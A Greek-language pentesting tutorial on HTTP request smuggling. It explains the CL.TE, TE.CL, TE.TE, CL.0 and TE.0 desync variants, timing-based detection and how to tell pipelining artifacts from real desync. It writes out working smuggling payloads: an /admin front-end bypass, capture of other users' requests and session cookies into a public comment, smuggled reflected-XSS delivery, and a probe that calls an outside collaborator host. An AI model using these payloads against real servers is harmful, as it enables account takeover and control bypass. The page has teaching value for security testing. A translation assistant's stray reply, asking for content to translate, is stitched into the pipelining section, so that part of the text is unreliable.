HTTP Request Smuggling / HTTP Desync Attack

Reading time: 32 minutes

Τι είναι

Αυτή η ευπάθεια συμβαίνει όταν υπάρχει αποσυγχρονισμός μεταξύ των front-end proxies και του back-end server που επιτρέπει σε έναν attacker να στείλει ένα HTTP request που θα ερμηνευτεί ως ένα μόνο request από τους front-end proxies (load balance/reverse-proxy) και ως 2 requests από τον back-end server.
Αυτό επιτρέπει σε έναν χρήστη να τροποποιήσει το επόμενο request που φτάνει στον back-end server μετά το δικό του.

Θεωρία

RFC Specification (2161)

Εάν ένα μήνυμα ληφθεί με πεδίο κεφαλίδας Transfer-Encoding και πεδίο κεφαλίδας Content-Length, το τελευταίο ΠΡΕΠΕΙ να αγνοηθεί.

Content-Length

Η οντότητα-κεφαλίδα Content-Length υποδεικνύει το μέγεθος του entity-body, σε bytes, που στέλνεται στον παραλήπτη.

Transfer-Encoding: chunked

Η κεφαλίδα Transfer-Encoding καθορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του payload body στον χρήστη.
Chunked σημαίνει ότι μεγάλα δεδομένα αποστέλλονται σε μια σειρά από chunks

Πραγματικότητα

Ο Front-End (load-balance / Reverse Proxy) επεξεργάζεται την κεφαλίδα Content-Length ή την Transfer-Encoding και ο Back-end server επεξεργάζεται την άλλη, προκαλώντας αποσυγχρονισμό μεταξύ των δύο συστημάτων.
Αυτό μπορεί να είναι πολύ κρίσιμο καθώς ένας attacker θα μπορέσει να στείλει ένα request στον reverse proxy που ο back-end server θα ερμηνεύσει ως 2 διαφορετικά requests. Ο κίνδυνος αυτής της τεχνικής έγκειται στο ότι ο back-end server θα ερμηνεύσει το 2ο εισαγόμενο request σαν να προήλθε από τον επόμενο client και το πραγματικό request αυτού του client θα γίνει μέρος του εισαχθέντος request.

Ιδιαίτερα χαρακτηριστικά

Θυμηθείτε ότι στο HTTP ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:

• Content-Length: Αυτή η κεφαλίδα χρησιμοποιεί έναν δεκαδικό αριθμό για να υποδείξει τον αριθμό των bytes του body του request. Το body αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, δεν απαιτείται νέα γραμμή στο τέλος του request.
• Transfer-Encoding: Αυτή η κεφαλίδα χρησιμοποιεί στο body έναν δεκαεξαδικό αριθμό για να υποδείξει τον αριθμό των bytes του επόμενου chunk. Το chunk πρέπει να τελειώνει με μια νέα γραμμή αλλά αυτή η νέα γραμμή δεν συμπεριλαμβάνεται στον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές: 0
• Connection: Βάσει της εμπειρίας μου συνιστάται να χρησιμοποιείτε Connection: keep-alive στο πρώτο request του request Smuggling.

Βασικά Παραδείγματα

Οι επιθέσεις HTTP request smuggling κατασκευάζονται στέλνοντας αμφίσημα requests που εκμεταλλεύονται διαφορές στον τρόπο που οι front-end και back-end servers ερμηνεύουν τις κεφαλίδες Content-Length (CL) και Transfer-Encoding (TE). Αυτές οι επιθέσεις μπορούν να εμφανιστούν σε διαφορετικές μορφές, κυρίως ως CL.TE, TE.CL, και TE.TE. Κάθε τύπος αντιπροσωπεύει έναν μοναδικό συνδυασμό του πώς οι front-end και back-end servers δίνουν προτεραιότητα σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από το γεγονός ότι οι servers επεξεργάζονται το ίδιο request με διαφορετικούς τρόπους, οδηγώντας σε απρόβλεπτα και ενδεχομένως κακόβουλα αποτελέσματα.

Βασικά Παραδείγματα Τύπων Ευπάθειας

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

• Front-End (CL): Επεξεργάζεται το request βάσει της κεφαλίδας Content-Length.

• Back-End (TE): Επεξεργάζεται το request βάσει της κεφαλίδας Transfer-Encoding.

• Σενάριο επίθεσης:

• Ο attacker στέλνει ένα request όπου η τιμή της κεφαλίδας Content-Length δεν ταιριάζει με το πραγματικό μήκος του περιεχομένου.

• Ο front-end server προωθεί ολόκληρο το request στον back-end με βάση την τιμή της Content-Length.

• Ο back-end server επεξεργάζεται το request ως chunked λόγω της κεφαλίδας Transfer-Encoding: chunked, ερμηνεύοντας τα υπόλοιπα δεδομένα ως ξεχωριστό, επακόλουθο request.

• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

• Front-End (TE): Επεξεργάζεται το request βάσει της κεφαλίδας Transfer-Encoding.

• Back-End (CL): Επεξεργάζεται το request βάσει της κεφαλίδας Content-Length.

• Σενάριο επίθεσης:

• Ο attacker στέλνει ένα chunked request όπου το μέγεθος chunk (7b) και το πραγματικό μήκος περιεχομένου (Content-Length: 4) δεν ευθυγραμμίζονται.

• Ο front-end server, τιμώντας το Transfer-Encoding, προωθεί ολόκληρο το request στον back-end.

• Ο back-end server, σεβόμενος το Content-Length, επεξεργάζεται μόνο το αρχικό μέρος του request (7b bytes), αφήνοντας το υπόλοιπο ως μέρος ενός ανεπιθύμητου επακόλουθου request.

• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

• Servers: Και οι δύο υποστηρίζουν Transfer-Encoding, αλλά ο ένας μπορεί να ξεγελαστεί ώστε να το αγνοήσει μέσω αποπροσανατολισμού/obfuscation.

• Σενάριο επίθεσης:

• Ο attacker στέλνει ένα request με αποπροσανατολισμένες κεφαλίδες Transfer-Encoding.

• Ανάλογα με το ποιος server (front-end ή back-end) δεν αναγνωρίσει την αποπροσανατολισμένη μορφή, μπορεί να εκμεταλλευτεί ένα CL.TE ή TE.CL vulnerability.

• Το μη επεξεργασμένο μέρος του request, όπως φαίνεται από έναν από τους servers, γίνεται μέρος ενός επακόλουθου request, οδηγώντας σε smuggling.

• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

• Και οι δύο servers επεξεργάζονται το request αποκλειστικά βάσει της κεφαλίδας Content-Length.
• Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει συμφωνία στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request.
• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

• Αναφέρεται σε σενάρια όπου η κεφαλίδα Content-Length υπάρχει και έχει τιμή διαφορετική του μηδενός, υποδεικνύοντας ότι το body του request περιέχει περιεχόμενο. Ο back-end αγνοεί την κεφαλίδα Content-Length (η οποία θεωρείται 0), αλλά ο front-end την αναλύει.
• Είναι κρίσιμο για την κατανόηση και τη σύνταξη επιθέσεων smuggling, καθώς επηρεάζει το πώς οι servers καθορίζουν το τέλος ενός request.
• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

• Όπως το προηγούμενο αλλά χρησιμοποιώντας TE
• Technique reported here
• Παράδειγμα:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Διακοπή του web server

Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατόν να σπάσει ένας web server κατά την ανάγνωση των αρχικών δεδομένων HTTP αλλά χωρίς να κλείσει η σύνδεση. Με αυτόν τον τρόπο, το body του HTTP request θα θεωρηθεί το επόμενο HTTP request.

Για παράδειγμα, όπως εξηγείται στο this writeup, στο Werkzeug ήταν δυνατό να σταλούν κάποιοι Unicode χαρακτήρες και αυτό θα κάνει τον server να σπάσει. Ωστόσο, αν η HTTP σύνδεση δημιουργήθηκε με την κεφαλίδα Connection: keep-alive, το body του request δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, οπότε το body του request θα αντιμετωπιστεί ως το επόμενο HTTP request.

Εξαναγκασμός μέσω hop-by-hop headers

Καταχρώμενοι τα hop-by-hop headers, μπορείτε να υποδείξετε στον proxy να διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding, ώστε να είναι δυνατή η εκμετάλλευση μέσω HTTP request smuggling.

Connection: Content-Length

Για περισσότερες πληροφορίες σχετικά με hop-by-hop headers επισκεφτείτε:

hop-by-hop headers

Εντοπισμός HTTP Request Smuggling

Η αναγνώριση των HTTP request smuggling ευπαθειών συχνά επιτυγχάνεται με τεχνικές χρονισμού, που βασίζονται στην παρατήρηση του χρόνου που χρειάζεται ο server για να απαντήσει σε χειραγωγημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για τον εντοπισμό των CL.TE και TE.CL ευπαθειών. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για τον εντοπισμό τέτοιων ευπαθειών:

Εντοπισμός CL.TE Ευπαθειών με Χρήση Τεχνικών Χρονισμού

• Μέθοδος:

• Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.

• Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Παρατήρηση:

• Ο front-end server επεξεργάζεται το αίτημα βάσει του Content-Length και κόβει το μήνυμα πρόωρα.

• Ο back-end server, αναμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που δεν φτάνει ποτέ, προκαλώντας καθυστέρηση.

• Ενδείξεις:

• Timeouts ή μεγάλες καθυστερήσεις στην απόκριση.

• Λήψη σφάλματος 400 Bad Request από τον back-end server, μερικές φορές με λεπτομερείς πληροφορίες για τον server.

Εντοπισμός TE.CL Ευπαθειών με Χρήση Τεχνικών Χρονισμού

• Μέθοδος:

• Στείλτε ένα αίτημα που, αν η εφαρμογή είναι ευάλωτη, θα κάνει τον back-end server να περιμένει επιπλέον δεδομένα.

• Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Παρατήρηση:
• Ο front-end server επεξεργάζεται το αίτημα βάσει του Transfer-Encoding και προωθεί ολόκληρο το μήνυμα.
• Ο back-end server, αναμένοντας μήνυμα βάσει του Content-Length, περιμένει επιπλέον δεδομένα που δεν φτάνουν ποτέ, προκαλώντας καθυστέρηση.

Άλλες Μέθοδοι για τον Εντοπισμό Ευπαθειών

• Διαφορική Ανάλυση Απαντήσεων:
• Στείλτε ελαφρώς διαφοροποιημένες εκδοχές ενός αιτήματος και παρατηρήστε αν οι αποκρίσεις του server διαφέρουν με απροσδόκητο τρόπο, δείχνοντας διάκριση στην ανάλυση.
• Χρήση Αυτοματοποιημένων Εργαλείων:
• Εργαλεία όπως η επέκταση 'HTTP Request Smuggler' του Burp Suite μπορούν να δοκιμάσουν αυτόματα για αυτές τις ευπάθειες στέλνοντας διάφορες μορφές αμφίσημων αιτημάτων και αναλύοντας τις αποκρίσεις.
• Δοκιμές Διακύμανσης Content-Length:
• Στείλτε αιτήματα με μεταβαλλόμενες τιμές Content-Length που δεν συμφωνούν με το πραγματικό μέγεθος περιεχομένου και παρατηρήστε πώς ο server χειρίζεται αυτές τις ασυμφωνίες.
• Δοκιμές Διακύμανσης Transfer-Encoding:
• Στείλτε αιτήματα με αποκρυπτογραφημένους ή κατεστραμμένους Transfer-Encoding headers και παρακολουθήστε πώς ανταποκρίνονται διαφορετικά ο front-end και ο back-end server σε τέτοιες χειραγωγήσεις.

Δοκιμή Ευπαθειών HTTP Request Smuggling

Μετά την επιβεβαίωση της αποτελεσματικότητας των τεχνικών χρονισμού, είναι κρίσιμο να επαληθεύσετε αν τα client requests μπορούν να χειραγωγηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα να κάνετε ένα request στο / να αποδώσει απάντηση 404. Τα παραδείγματα CL.TE και TE.CL που συζητήθηκαν προηγουμένως στο Basic Examples δείχνουν πώς να δηλητηριάσετε ένα client's request ώστε να προκληθεί απάντηση 404, παρότι ο client σκοπεύει να προσπελάσει διαφορετικό resource.

Βασικά Σημεία προς Προσοχή

Όταν δοκιμάζετε για request smuggling επεμβαίνοντας σε άλλα αιτήματα, λάβετε υπόψη τα εξής:

• Διακριτές Δικτυακές Συνδέσεις: Τα "attack" και "normal" requests πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επικυρώνει την παρουσία ευπάθειας.
• Συνεπές URL και Παράμετροι: Προσπαθήστε να χρησιμοποιήσετε τα ίδια URLs και ονόματα παραμέτρων για αμφότερα τα requests. Σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους back-end servers βάσει URL και παραμέτρων. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο server, προϋπόθεση για επιτυχή επίθεση.
• Χρονισμός και Αγώνες (Racing Conditions): Το "normal" request, που προορίζεται να ανιχνεύσει παρεμβολή από το "attack" request, ανταγωνίζεται με άλλα ταυτόχρονα αιτήματα της εφαρμογής. Επομένως, στείλτε το "normal" request αμέσως μετά το "attack" request. Εργασίες με υψηλό φόρτο μπορεί να απαιτήσουν πολλαπλές δοκιμές για οριστική επιβεβαίωση της ευπάθειας.
• Προκλήσεις Load Balancing: Front-end servers που λειτουργούν ως load balancers ενδέχεται να διανέμουν αιτήματα σε διάφορα back-end συστήματα. Αν τα "attack" και "normal" requests καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα πετύχει. Αυτό το θέμα του load balancing μπορεί να απαιτήσει αρκετές προσπάθειες για επιβεβαίωση μιας ευπάθειας.
• Ακούσια Επίδραση σε Χρήστες: Αν η επίθεσή σας επηρεάσει κατά λάθος το αίτημα άλλου χρήστη (όχι το "normal" request που στείλατε για ανίχνευση), αυτό υποδηλώνει ότι η επίθεσή σας επηρέασε άλλον χρήστη της εφαρμογής. Η συνεχής δοκιμή μπορεί να διαταράξει άλλους χρήστες, οπότε απαιτείται προσεκτική προσέγγιση.

Διαχώριση artifacts του HTTP/1.1 pipelining vs genuine request smuggling

Η επαναχρησιμοποίηση σύνδεσης (keep-alive) και το pipelining μπορούν εύκολα να δημιουργήσουν ψευδείς εντυπώσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στο ίδιο socket. Μάθετε να διαχωρίζετε αβλαβή client-side artifacts από πραγματικό server-side desync.

Γιατί το pipelining δημιουργεί κλασικά false positives

Το HTTP/1.1 επαναχρησιμοποιεί μια ενιαία TCP/TLS σύνδεση και συγχωνεύει requests και responses στο ίδιο stream. Στο pipelining, ο client στέλνει πολλαπλά requests το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σειρά. Ένα συνηθισμένο false-positive είναι να ξαναστείλετε ένα malformed CL.0-style payload δύο φορές στην ίδια σύνδεση:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Δεν υπάρχει περιεχόμενο για μετάφραση. Παρακαλώ επικολλήστε το περιεχόμενο του αρχείου src/pentesting-web/http-request-smuggling/README.md που θέλετε να μεταφράσω. Θα μεταφράσω το αγγλικό κείμενο σε ελληνικά και θα διατηρήσω αμετάβλητα κώδικα, tags, links, paths, ονόματα τεχνικών hacking, cloud/SaaS ονόματα και λέξεις όπως "leak".

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Αν ο διακομιστής αγνόησε το κατεστραμμένο Content_Length, δεν υπάρχει FE↔BE desync. Σε περίπτωση επαναχρησιμοποίησης, ο πελάτης σας στην πραγματικότητα έστειλε αυτή τη ροή byte, την οποία ο διακομιστής ανέλυσε ως δύο ανεξάρτητες αιτήσεις:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. You just desynced your client from the server framing.

Δοκιμές επιβεβαίωσης: pipelining ή πραγματικό desync?

1. Disable reuse and re-test

• Στο Burp Intruder/Repeater, απενεργοποιήστε το HTTP/1 reuse και αποφύγετε το "Send group in sequence".
• Στο Turbo Intruder, ορίστε requestsPerConnection=1 και pipeline=False.
• Αν η συμπεριφορά εξαφανιστεί, πιθανότατα ήταν client-side pipelining, εκτός αν στοχεύετε connection-locked/stateful targets ή client-side desync.

2. HTTP/2 nested-response check

• Στείλτε ένα HTTP/2 request. Αν το σώμα της απάντησης περιέχει μια πλήρη nested HTTP/1 response, έχετε αποδείξει backend parsing/desync bug αντί για καθαρό client artifact.

3. Partial-requests probe for connection-locked front-ends

• Κάποια FEs επαναχρησιμοποιούν την upstream BE σύνδεση μόνο αν ο client επαναχρησιμοποιήσει τη δική του. Χρησιμοποιήστε partial-requests για να εντοπίσετε συμπεριφορά FE που καθρεφτίζει το client reuse.
• Δείτε PortSwigger "Browser‑Powered Desync Attacks" για την τεχνική connection-locked.

4. State probes

• Αναζητήστε διαφορές μεταξύ πρώτου και επόμενων requests στην ίδια TCP σύνδεση (first-request routing/validation).
• Το Burp "HTTP Request Smuggler" περιλαμβάνει ένα connection‑state probe που αυτοματοποιεί αυτό.

5. Visualize the wire

• Χρησιμοποιήστε το Burp "HTTP Hacker" extension για να ελέγξετε concatenation και message framing απευθείας ενώ πειραματίζεστε με reuse και partial requests.

Connection‑locked request smuggling (reuse-required)

Ορισμένα front-ends επαναχρησιμοποιούν την upstream σύνδεση μόνο όταν ο client επαναχρησιμοποιεί τη δική του. Υπάρχει πραγματικό smuggling αλλά είναι υπό όρους στο client-side reuse. Για να διακρίνετε και να αποδείξετε την επίπτωση:

• Αποδείξτε το server-side bug
• Χρησιμοποιήστε το HTTP/2 nested-response check, ή
• Χρησιμοποιήστε partial-requests για να δείξετε ότι το FE επαναχρησιμοποιεί upstream μόνο όταν το κάνει ο client.
• Δείξτε πραγματική επίπτωση ακόμη κι αν η άμεση cross-user socket κατάχρηση είναι μπλοκαρισμένη:
• Cache poisoning: poison shared caches via the desync so responses affect other users.
• Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
• Bypass FE controls: smuggle restricted paths/methods past the front-end.
• Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
• Operator workflow
• Αναπαράγετε με ελεγχόμενο reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)").
• Έπειτα αλυσιδώστε σε cache/header-leak/control-bypass primitives και δείξτε cross-user ή authorization impact.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Περιορισμοί client‑side desync

Αν στοχεύετε browser-powered/client-side desync, το κακόβουλο request πρέπει να μπορεί να σταλεί από browser cross-origin. Τα tricks header obfuscation δεν θα λειτουργήσουν. Επικεντρωθείτε σε primitives προσβάσιμα μέσω navigation/fetch, και μετά pivot σε cache poisoning, header disclosure ή bypass ελέγχων front-end όπου downstream components αντανακλούν ή cache-άρουν απαντήσεις.

Για υπόβαθρο και end-to-end workflows:

Browser HTTP Request Smuggling

Εργαλεία για να βοηθήσουν στην απόφαση

• HTTP Hacker (Burp BApp Store): αποκαλύπτει χαμηλού επιπέδου συμπεριφορά HTTP και socket concatenation.
• "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
• Turbo Intruder: ακριβής έλεγχος της connection reuse μέσω requestsPerConnection.
• Burp HTTP Request Smuggler: περιλαμβάνει connection‑state probe για εντοπισμό first‑request routing/validation.

Κατάχρηση HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Κάποιες φορές, front-end proxies επιβάλλουν μέτρα ασφάλειας, εξετάζοντας διεξοδικά τα εισερχόμενα requests. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο /admin μπορεί να απαγορεύεται εξωτερικά, με το front-end proxy να μπλοκάρει ενεργά τέτοιες προσπάθειες. Παρ' όλα αυτά, αυτό το proxy μπορεί να παραμελήσει τον έλεγχο ενσωματωμένων requests μέσα σε ένα smuggled HTTP request, αφήνοντας μια τρύπα για την παράκαμψη αυτών των περιορισμών.

Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Στην CL.TE attack, η κεφαλίδα Content-Length αξιοποιείται για το αρχικό request, ενώ το επακόλουθο ενσωματωμένο request χρησιμοποιεί την κεφαλίδα Transfer-Encoding: chunked. Ο front-end proxy επεξεργάζεται το αρχικό POST request αλλά αποτυγχάνει να εξετάσει το ενσωματωμένο GET /admin request, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαδρομή /admin.

TE.CL Παράδειγμα

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Αντίθετα, στην επίθεση TE.CL, το αρχικό POST αίτημα χρησιμοποιεί Transfer-Encoding: chunked, και το επακόλουθο εμφωλευμένο αίτημα επεξεργάζεται με βάση το header Content-Length. Όπως και στην επίθεση CL.TE, ο front-end proxy παραβλέπει το εμφωλευμένο GET /admin αίτημα, παρέχοντας άθελά του πρόσβαση στο περιορισμένο path /admin.

Αποκάλυψη επανεγγραφής αιτήσεων front-end

Οι εφαρμογές συχνά χρησιμοποιούν έναν front-end server για να τροποποιούν τα εισερχόμενα αιτήματα προτού τα προωθήσουν στον back-end server. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη headers, όπως X-Forwarded-For: <IP of the client>, για να μεταβιβάσει τη διεύθυνση IP του πελάτη στον back-end. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς ενδέχεται να αποκαλύψει τρόπους για να παρακάμψετε προστασίες ή να αποκαλύψετε κρυφές πληροφορίες ή endpoints.

Για να ερευνήσετε πώς ένας proxy τροποποιεί ένα αίτημα, εντοπίστε μια παράμετρο POST που ο back-end επιστρέφει στην απάντηση. Στη συνέχεια, συντάξτε ένα αίτημα, χρησιμοποιώντας αυτήν την παράμετρο τελευταία, παρόμοιο με το ακόλουθο:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Σε αυτή τη δομή, τα επόμενα στοιχεία του αιτήματος προστίθενται μετά το search=, το οποίο είναι η παράμετρος που ανακλάται στην απάντηση. Αυτή η ανάκλαση θα αποκαλύψει τα headers του επόμενου αιτήματος.

Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα Content-Length του ενθεμένου αιτήματος με το πραγματικό μήκος του περιεχομένου. Είναι προτιμότερο να ξεκινήσετε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ μικρή τιμή θα αποκόψει τα ανακλώμενα δεδομένα, ενώ μια πολύ μεγάλη τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.

Η τεχνική αυτή ισχύει επίσης στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα πρέπει να τερματίζει με search=\r\n0. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστίθενται στην παράμετρο search.

Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων που κάνει ο front-end proxy στα αιτήματα, ουσιαστικά πραγματοποιώντας μια αυτο-κατευθυνόμενη διερεύνηση.

Καταγραφή αιτημάτων άλλων χρηστών

Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσαρτώντας ένα συγκεκριμένο request ως τιμή μιας παραμέτρου κατά τη διάρκεια μιας POST λειτουργίας. Δείτε πώς μπορεί να επιτευχθεί αυτό:

Με το να προσαρτήσετε το ακόλουθο αίτημα ως τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το επακόλουθο αίτημα του πελάτη:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Σε αυτό το σενάριο, η παράμετρος comment προορίζεται για την αποθήκευση του περιεχομένου στην ενότητα σχολίων μιας δημοσίευσης σε μια δημόσια προσβάσιμη σελίδα. Κατά συνέπεια, τα περιεχόμενα του επόμενου αιτήματος θα εμφανιστούν ως σχόλιο.

Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρων που χρησιμοποιείται στο smuggled request. Για υποβολές φορμών URL-encoded, αυτός ο διαχωριστής είναι ο χαρακτήρας &. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στο πρώτο &, το οποίο μπορεί ακόμη και να αποτελεί μέρος του query string.

Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης εφικτή με μια ευπάθεια TE.CL. Σε αυτές τις περιπτώσεις, το αίτημα θα πρέπει να ολοκληρώνεται με search=\r\n0. Ανεξαρτήτως των χαρακτήρων νέας γραμμής, οι τιμές θα προσαρτώνται στην παράμετρο search.

Χρήση HTTP request smuggling για την εκμετάλλευση Reflected XSS

HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί ιστοσελίδες ευάλωτες σε Reflected XSS, προσφέροντας σημαντικά πλεονεκτήματα:

• Η αλληλεπίδραση με τους χρήστες-στόχους δεν απαιτείται.
• Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι συνήθως απρόσιτα, όπως τα HTTP request headers.

Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω του User-Agent header, το ακόλουθο payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload είναι δομημένο ώστε να εκμεταλλευτεί την ευπάθεια με τους εξής τρόπους:

1. Εκκίνηση ενός POST request, φαινομενικά τυπικού, με header Transfer-Encoding: chunked για να δηλώσει την έναρξη του smuggling.
2. Ακολουθεί 0, που σηματοδοτεί το τέλος του chunked message body.
3. Στη συνέχεια εισάγεται ένα smuggled GET request, όπου το header User-Agent εγχέεται με ένα script, <script>alert(1)</script>, ενεργοποιώντας το XSS όταν ο server επεξεργάζεται αυτό το επακόλουθο request.

Με την παραποίηση του User-Agent μέσω smuggling, το payload παρακάμπτει τους κανονικούς περιορισμούς των requests, εκμεταλλευόμενο έτσι τη Reflected XSS ευπάθεια με έναν μη-τυπικό αλλά αποτελεσματικό τρόπο.

HTTP/0.9

Η έκδοση HTTP/0.9 ήταν προηγούμενη της 1.0 και χρησιμοποιεί μόνο ρήματα GET και δεν απαντά με headers, μόνο με το σώμα.

